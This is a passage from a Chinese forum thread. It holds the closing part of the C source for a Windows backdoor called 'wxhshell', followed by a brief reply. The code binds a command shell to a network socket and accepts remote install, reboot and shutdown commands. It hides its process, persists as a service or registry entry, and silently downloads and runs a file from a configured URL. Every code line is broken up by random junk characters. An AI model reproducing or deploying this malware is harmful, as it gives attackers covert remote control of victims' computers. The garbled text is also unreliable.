  send(wsh,msg_ws_down,strlen(msg_ws_down),0); - 1gVeT&  
  if(DownloadFile(cmd,wsh)) .(k|wX[Fu~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %d9uTm;  
  else >i?oC^QM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O?#7N[7  
  } KF:78C  
  else { ~*];pV]A[  
KHvYUTY  
    switch(cmd[0]) { ,Ma^&ypH  
  j^RmrOg ,  
  // 帮助 NC6&x=!3  
  case '?': { g *+>H1}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  N4TV  
    break; (X*^dO  
  } M kXmA`cP  
  // 安装 Y(Hs#Kn{  
  case 'i': { 'PW5ux@`<  
    if(Install()) 1EX;MW-p<T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E}Uc7G  
    else *MW\^PR?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >uEzw4w  
    break; &s>Jb?_5Mx  
    } S)"Jf?  
  // 卸载 )MT}+ai  
  case 'r': { @gK?\URoT  
    if(Uninstall()) R 2vlFx/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -X6PRE5a2  
    else ]JQULE)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m+z& Q  
    break; @d1Q"9}B  
    } /Z}}(6T  
  // 显示 wxhshell 所在路径 -"9  
  case 'p': { ;*2Cm'8E  
    char svExeFile[MAX_PATH]; }4X0epPp;:  
    strcpy(svExeFile,"\n\r"); -jm Y)(\  
      strcat(svExeFile,ExeFile); zX i 'kB  
        send(wsh,svExeFile,strlen(svExeFile),0); A?OQE9'  
    break; &_8 947  
    } }"%N4(Kd  
  // 重启 M&M 6;Ph  
  case 'b': { _ jlRlt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P@~yx#G  
    if(Boot(REBOOT)) 7tCw*t$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gbD KE{  
    else { 2y1Sne=<Kb  
    closesocket(wsh); HTTC TR  
    ExitThread(0); lPAQ3t!,  
    } SSzIih@u  
    break; ,|/f`Pl  
    } \o3gKoL%  
  // 关机 j.= 1rwPt  
  case 'd': { 9} .z;prz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); es0hm2HT3  
    if(Boot(SHUTDOWN)) sV*H`N')S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hOK8(U0  
    else { n~Lt\K:  
    closesocket(wsh); d2L&Z_}  
    ExitThread(0); 5 SQ 8}Or3  
    } [mueZQyI?0  
    break; >^{yF~(  
    } j_j]"ew)  
  // 获取shell j B{8u&kz)  
  case 's': { F_P~x(X  
    CmdShell(wsh); 3o/[t  
    closesocket(wsh); :[d9tm  
    ExitThread(0); b| (: [nB  
    break; |JsZJ9W+J  
  } Y}KNKO;  
  // 退出 `kSZX:=};  
  case 'x': { `XDl_E+>l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RT8 ?7xFc  
    CloseIt(wsh); *qpSXmOz  
    break; RPbZ(.  
    } +aAc9'k   
  // 离开 I5W~g.<6  
  case 'q': { (**oRwr%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JK] PRDyD  
    closesocket(wsh); `@yp+8  
    WSACleanup(); X5w$4Kj&4l  
    exit(1); .fs3>@T"#  
    break; HK% 7g  
        } W} ofAkF  
  } tT._VK]o&R  
  } 8xMX  
wdoR%b{M  
  // 提示信息 rS Ni@;   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YchH~m|  
} H%{+QwzZ[j  
  } Gp\ kU:}&  
7x8  yxE  
  return; 7PF%76TO  
} 5E <kwi  
bs1Rvx1:J%  
// shell模块句柄 KG{St{uJ  
int CmdShell(SOCKET sock) $`'/+x"%  
{ `QY)!$mUIF  
STARTUPINFO si; bQ5\ ]5M  
ZeroMemory(&si,sizeof(si)); .tr!(O],h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V^~:F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >KKMcTOYY  
PROCESS_INFORMATION ProcessInfo; {fp[BF  
char cmdline[]="cmd"; HtYwEjI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J?$,c4;W2  
  return 0; ,v}k{( 16{  
} 7IM@i>p%  
^d73Ig:8q  
// 自身启动模式 e@YK@?^#N  
int StartFromService(void) A+?`?pOm&  
{ f|oh.z_R  
typedef struct '/%H3A#L  
{ /2VJX@h  
  DWORD ExitStatus; M rb)  
  DWORD PebBaseAddress; XRQ4\bMA8  
  DWORD AffinityMask; S`Rs82>  
  DWORD BasePriority; 5Jnlz@P9  
  ULONG UniqueProcessId; Yz)qcU  
  ULONG InheritedFromUniqueProcessId; IO:G1;[/2L  
}   PROCESS_BASIC_INFORMATION; q- d:TMkc  
%e} Saf  
PROCNTQSIP NtQueryInformationProcess; cQ_Hp <D  
Rbv;?'O$L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jZr q{Z<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &PtJ$0%q  
vs{s_T7Mz]  
  HANDLE             hProcess; n '6jou  
  PROCESS_BASIC_INFORMATION pbi; b5n'=doR/I  
)@bQu~Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kylVH! @l  
  if(NULL == hInst ) return 0;  %D "I  
mpJ#:}n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e\75:oQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^_mj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z*)T %p  
X!g#T9kG  
  if (!NtQueryInformationProcess) return 0; 7. ;3e@s  
{.mngRQF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -A!%*9Z  
  if(!hProcess) return 0; [j'X;tVX{  
l1Fc>:o{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k"w"hg&e  
t\ewHZG"  
  CloseHandle(hProcess); }JAG7L&{  
8Uxne2e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *-p}z@8  
if(hProcess==NULL) return 0; Mf``_=K  
uu687|Pm  
HMODULE hMod; H$4:lH&(  
char procName[255]; #>+HlT  
unsigned long cbNeeded; Q]>.b%s[  
4HA<P6L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HyWCMK6b  
A^<iL  
  CloseHandle(hProcess); y'*K|a TG  
| Xy6PN8  
if(strstr(procName,"services")) return 1; // 以服务启动 4{`{WI{  
=rX>.P%Q5  
  return 0; // 注册表启动 #;nYg?d=  
} [cp+i^f  
J/*`7Pd  
// 主模块 M/K5#8Arj  
int StartWxhshell(LPSTR lpCmdLine) JaGtsi9%.  
{ E?0%Z&1h  
  SOCKET wsl; | %Vh`HT  
BOOL val=TRUE; @MCg%Afw  
  int port=0; D d</`iUq  
  struct sockaddr_in door; C~iL3C b  
S^\Vgi(  
  if(wscfg.ws_autoins) Install(); sLAQE64\"  
oILZgNe'  
port=atoi(lpCmdLine); +; AZ+w]ZF  
^DwYOo2B  
if(port<=0) port=wscfg.ws_port; p.?rey<%  
LSr]S79N1  
  WSADATA data; ~R92cH>L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0:Ol7  
3'u-'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "LTad`]<Ro  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A~t j/yq9  
  door.sin_family = AF_INET; BR yl4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }U"&8%PZr  
  door.sin_port = htons(port); W:L AP R  
C>*u()q>4h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?<'}r7D   
closesocket(wsl); #4 pB@_  
return 1; SI-Ops~e  
} jtc]>]6i  
NHZz _a=  
  if(listen(wsl,2) == INVALID_SOCKET) { s,&Z=zt0R  
closesocket(wsl); JnM["Q=`  
return 1; '(|ofJe!  
} _zi|  
  Wxhshell(wsl); WEi2=3dV  
  WSACleanup(); @2 fg~2M1  
E09 :E  
return 0; iAIuxO  
0.k7oB;f(@  
} 7%eK37@u  
SKsKPqz  
// 以NT服务方式启动 wD'SPk5S?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z}Ft:7   
{ DN57p!z  
DWORD   status = 0; o:Sa, !DK  
  DWORD   specificError = 0xfffffff; Z@PmM4F@S  
ckE-",G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2a Q[zK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8c^TT&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rCdu0 gYT  
  serviceStatus.dwWin32ExitCode     = 0; b2&0Hx  
  serviceStatus.dwServiceSpecificExitCode = 0; vnZC,J `  
  serviceStatus.dwCheckPoint       = 0; RdR p.pb8  
  serviceStatus.dwWaitHint       = 0; l]l'4@1   
338k?nHxv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U#WF ;q0L  
  if (hServiceStatusHandle==0) return; P?of<i2E  
q9r[$%G  
status = GetLastError(); ZRU{ [4  
  if (status!=NO_ERROR) i6Emhji  
{ CdjI`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lchPpm9  
    serviceStatus.dwCheckPoint       = 0; m`^q <sj  
    serviceStatus.dwWaitHint       = 0; A*547=M/(j  
    serviceStatus.dwWin32ExitCode     = status; ou{2@"  
    serviceStatus.dwServiceSpecificExitCode = specificError; % ^1V4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <1${1A <Wa  
    return; -fW*vE:  
  } &(l9?EVq1  
#fn)k1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,M ^<CJ  
  serviceStatus.dwCheckPoint       = 0; p]2128kqx  
  serviceStatus.dwWaitHint       = 0; .;`AAH'k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jkF^-Up.  
} =R$u[~Xl2X  
@>Km_Ax  
// 处理NT服务事件,比如:启动、停止 VY=jc~c]v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h^(* Tv-!  
{ dn$!&  
switch(fdwControl) <&g,Nc'5C  
{ EaY?aAuS:  
case SERVICE_CONTROL_STOP: kzUIZ/+ZL,  
  serviceStatus.dwWin32ExitCode = 0; O`t&ldU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fdi\hg^x  
  serviceStatus.dwCheckPoint   = 0; ,w:U#r~s"  
  serviceStatus.dwWaitHint     = 0; sLT3Y}IO  
  { !9VY|&fHe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -3Z,EaG^  
  } 1JG'%8}#8  
  return; L2i_X@/  
case SERVICE_CONTROL_PAUSE: ~YWQ2]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wIaony  
  break; ?Z[[2\DR  
case SERVICE_CONTROL_CONTINUE: B7E:{9l~s{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u[=r,^YQ  
  break; 0gP}zM73  
case SERVICE_CONTROL_INTERROGATE: ShP^A"Do  
  break; u.m[u)HQ  
}; Zaf:fsj>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kxIF#/8  
} a P@N)"  
#rQ2gx4  
// 标准应用程序主函数 2E)-M9ds  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,Np0wg0  
{ k|PN0&J  
M; tqp8  
// 获取操作系统版本 :vQrOn18p  
OsIsNt=GetOsVer(); :zke %Yx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \aUC(K~o\;  
V1 `o%;j  
  // 从命令行安装 RmeD$>7  
  if(strpbrk(lpCmdLine,"iI")) Install(); SBk4_J/_  
k:#!zK}  
  // 下载执行文件 [ =9T*Sp  
if(wscfg.ws_downexe) { #:U%mHT(_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )e=D(qd  
  WinExec(wscfg.ws_filenam,SW_HIDE); Em !/a$  
} J7Hl\Q[D1  
Q}K"24`=  
if(!OsIsNt) { b)5uf'?-  
// 如果时win9x,隐藏进程并且设置为注册表启动 BWv^ zi  
HideProc(); li'YDtMKCY  
StartWxhshell(lpCmdLine);  JWhdMU  
} :tB1D@Cb6  
else c&?m>2^6  
  if(StartFromService()) /}fHt^2H  
  // 以服务方式启动 8hz^%vm  
  StartServiceCtrlDispatcher(DispatchTable); G kl71VX  
else %i9E @EV  
  // 普通方式启动 GxI!{oi2  
  StartWxhshell(lpCmdLine); U} e!Wjrc  
PI:4m%[  
return 0; e L^ |v  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五